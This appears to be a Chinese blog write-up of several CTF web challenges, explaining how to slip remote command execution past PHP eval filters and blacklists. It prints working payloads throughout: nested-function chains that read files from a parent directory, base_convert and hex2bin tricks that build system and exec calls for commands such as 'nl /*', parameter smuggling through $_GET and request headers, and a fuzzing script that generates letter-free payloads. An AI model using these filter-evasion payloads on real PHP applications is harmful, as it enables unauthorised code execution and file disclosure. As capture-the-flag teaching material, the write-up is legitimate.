记录一些比赛中经常有php的花式绕过命令执行,每次这种题都会有非预期解法,php确实是最好的语言。
###byteCTF boring_code + 上海大学生网络安全赛 decade
1 |
|
前面绕ssrf的就不说了,除了买域名还可以用百度网盘生成链接,百度贴吧任意url跳转。更通用的方法是compress.zlib://data:@baidu.com/baidu.com?,payload(感觉这个应该是预期解,关于phar协议用过这个方法)
然后就是一个无参数的函数嵌套正则过滤,就是类似a(b(c())b()c());的类型,并且函数名不能有下划线。题目告诉了flag在上层目录。但是直接读上层目录文件的文件感觉上只能是readfile(‘../index.php’)这种格式,一定会有参数。所以目标就是跳转到上层目录并读文件,因为dirname、getcwd、pathinfo都被过滤了,所以只能用相对路径也就是chdir(‘..’)然后readfile(end(scandir(‘.’)))
这里就需要解决两个问题:
1、怎么构造出..
2、怎么把两个语句拼起来
####构造..
第一个问题的话,其实scandir会默认有两个目录.和..,所以问题变成了怎么获得.然后用next(scandir(‘.’))就有..了。而构造.又有几种想法
1)chr(time())或者chr(pos(localtime())),chr函数在数字大于256的时候会mod(256),所以在时间为256n+46的时候就能得到’.’。
2)chr(ord(strenv(crypt(time())))),crypt函数有时会在最后一位得到.,然后ord取第一位,再chr就可以了,不用像第一种方法等那么久。这里time也可以换成serialize(array())phpversion()uniqid()啥啥的,能得到个字符串就行。strrev可以换成hebrevc。
3)pos(localeconv()),localeconv()第一个元素是.,用pos或者current(被禁用了)拿出来。
4)floor(phpversion())得到第一位数字,用数学函数fuzz出个46
5)chr(strrev(uniqid()))玄学,感觉没啥可行性。
明显是第三种方法更好,因为没有随机性,也不需要fuzz半天。有了.之后chdir(next(scandir(‘.’)))就可以成功去到上层目录了。
####拼接语句
因为chdir的返回值是true,看到true自然会想到if(true)(),这是一种方法。
或者把true也就是1作为参数传进去,而且还要得到.,前面的方法里time和crypt都可以满足。第四种的phpversion也可以。
整理一下几种方法的最终payload
1 | if(chdir(next(scandir(pos(localeconv())))))(readfile(end(scandir(pos(localeconv())))));//if |
之后上海网络安全竞赛的题和这个差不多
1 |
|
过滤了更多的东西,对比一下其实就是多了readfile|if|time|local|sqrt这几个,所以看看上面的payload就只有crypt还可以用了。readfile可以用join、implode、serialize代替。
当然接着用数学方法算也是可以的。。。
fuzz脚本,用递归比较方便改层数,遍历后发现还是有很多种的
1 | $funcs = Array('sin','cos','tan','sinh','cosh','tanh'); |
给些payload
1 | echo(serialize(file(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array()))))))))))))))))); |
当然还会有别的方法,学不动了。
###CISCN2019 love math
地址:buuctf/Love Math
题目给出源码
1 | $content = $_GET['c']; |
主要限制了长度小于80,拦截了黑名单里的字符(引号重音号空格方括号),并且只能使用白名单里的函数。这个正则是匹配变量名和函数名的。
这题的关键就是base_convert这个函数可以把小写字母转成数字,这样就可以用一些纯字母的函数。
先来个phpinfo
1 | echo base_convert('phpinfo',36,10); |
所以c=base_convert(55490343972,10,36)()就可以查看phpinfo,观察disable_functions有没有禁用函数。
接下来三种思路
1、readfile读文件
2、直接system调用系统命令读文件
3、用$_GET或者getallheaders传参再执行命令。
因为要用文件名,第一种方法肯定很长,先不考虑。
####直接调用system
既然可以用system,就试试直接执行命令,system(“ls”)可以转成c=base_convert(1751504350,10,36)(base_convert(784,10,36))
看到当前目录只有index.php看来flag在根目录了。
最容易想到的命令是cat /flag,不过最短的命令应该是nl /*或者od /*。因为不能用引号,而特殊符号字符不能通过base_convert生成,所以还需要想办法构造出/*这两个字符。给定的函数里面能返回字符串的除了base_convert就只有dechex了,但dexhex只能返回16进制而不能返回字符串。所以还需要处理,有两种选择:
- hex2bin把16进制转成字符串
- 用别的字符串来异或。
先试第一种,引入hex2bin所以system(“nl /*”)可以转换为base_convert(1751504350,10,36)(base_convert(37907361743,10,36)(dechex(474260451114))),85个字符,长度超了。1
2
3
4
5
6echo hexdec(bin2hex("nl /*"));
474260451114
echo hexdec(bin2hex("od /*"));
478421200682
echo base_convert('hex2bin',36,10);
37907361743
可以用一些花式php技巧缩短,动态执行函数可以同时赋值和使用,比如($pi=base_convert)(1751504350,10,36)($pi(37907361743,10,36)(dechex(474260451114)))
然后再fuzz下看看base_convert能不能有更短的进制挑最短的,变成($pi=base_convert)(128891498,14,36)($pi(3761671484,13,36)(dechex(474260451114)))1
2
3
4
5
6
7
8
9
10
11
12
13
14
15for($x=33;$x<=36;$x++){
for($y=10;$y<=16;$y++){
$s = 'hex2bin';
$num = base_convert($s,$x,$y);
if(base_convert($num,$y,$x)==$s && preg_match("/^\d*$/",$num)){
echo $x.' '.$y.' '.base_convert($s,$x,$y).'</br>';
}
}
}
34 10 26941962055
34 11 10476042948
34 14 1438255411
35 10 32035442378
36 10 37907361743
36 13 3761671484
正好80个字符。。。真的尴尬。不过又试了试发现system可以换成exec。成功,再试试第二种。1
c=($pi=base_convert)(696468,10,36)($pi(3761671484,13,36)(dechex(474260451114)))
####用$_GET或者getallheaders传参
就是构造个$_GET0这种经典格式。方括号被过滤了可以换成花括号,问题是下划线不能通过base_convert得到,还是需要hex2bin(dechex())这一串得到_GET,再用$$得到$_GET。
另外除了从header获取还可以利用session。比如eval(hex2bin(session_id(session_start())))。session传hex编码的命令。或者用exec(getallheaders(){0})这种格式1
2$pi=base_convert(3761671484,13,36)(dechex(1598506324));$$pi{0}($$pi{1})&0=system&1=ls
$pi=base_convert(1114322,10,36)^dechex(4369);$$pi{0}($$pi{1})&0=system&1=ls//用异或的语句可以更短###roarctf calc1
($pi=base_convert)(696468,10,36)($pi(8768397090111664438,10,30)(){0})
这是个非预期解,很秀这个代码过滤只是一部分,后端还有个waf会过滤所有字母。正解是绕waf,很多种方法都可以绕过去。但这里的做法是来硬的。用到了几个php的特性:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
1、(1).(2)等于字符串12
2、1/0等于INF,0/0等于NAN(PHP7特性)
然后就是&和|进行按位与按位或操作,一样是fuzz找可见字符,边生成边加入原有字符,最后能得到所有小写字母以及一些常用符号,不过没有下划线,可以用implode代替var_dump。我这里脚本直接生成payload了,因为有&符号,最后需要再进行一次url编码:什么叫国际语言啊(战术后仰)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
$s = '0123456789NAINF-';
$target = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\\\]^_`{|}~';
$res = Array('0'=>'(((0).(0)){0})',
'1'=>'(((1).(0)){0})',
'2'=>'(((2).(0)){0})',
'3'=>'(((3).(0)){0})',
'4'=>'(((4).(0)){0})',
'5'=>'(((5).(0)){0})',
'6'=>'(((6).(0)){0})',
'7'=>'(((7).(0)){0})',
'8'=>'(((8).(0)){0})',
'9'=>'(((9).(0)){0})',
'-'=>'(((-1).(1)){0})',
"N"=>'(((0/0).(0)){0})',
"A"=>'(((0/0).(0)){1})',
"I"=>'(((1/0).(0)){0})',
'F'=>'(((1/0).(0)){2})');
while(sizeof($res)<strlen($target)) {
for($i=0;$i<strlen($s);$i++){
for($j=0;$j<strlen($s);$j++){
for($k=0;$k<strlen($target);$k++){
if(($s[$i]&$s[$j]) === $target[$k]) {
if(!isset($res[$target[$k]])){
$res[$target[$k]] = '('.$res[$s[$i]].'&'.$res[$s[$j]].')';
}
}
if(($s[$i]|$s[$j]) === $target[$k]) {
if(!isset($res[$target[$k]])){
$res[$target[$k]] = '('.$res[$s[$i]].'|'.$res[$s[$j]].')';
}
}
}
}
}
$new = array_unique(array_merge(array_keys($res),str_split($s)));
$ns = implode(array_values($new));
if(strlen($ns) == strlen($s)) {
// echo $s.'</br>';
break;
}
else{
$s = $ns;
}
}
krsort($res);
var_dump($res);
$f = 'phpinfo';
$r = '(';
for($i=0;$i<strlen($f);$i++) {
$r = $r.$res[$f[$i]].'.';
}
echo substr($r,0,strlen($r)-1).')';
####参考链接
https://www.cnblogs.com/BOHB-yunying/p/11616311.html
https://www.xmsec.cc/ciscn-2019-web-wp/
https://github.red/roarctf-web-writeup/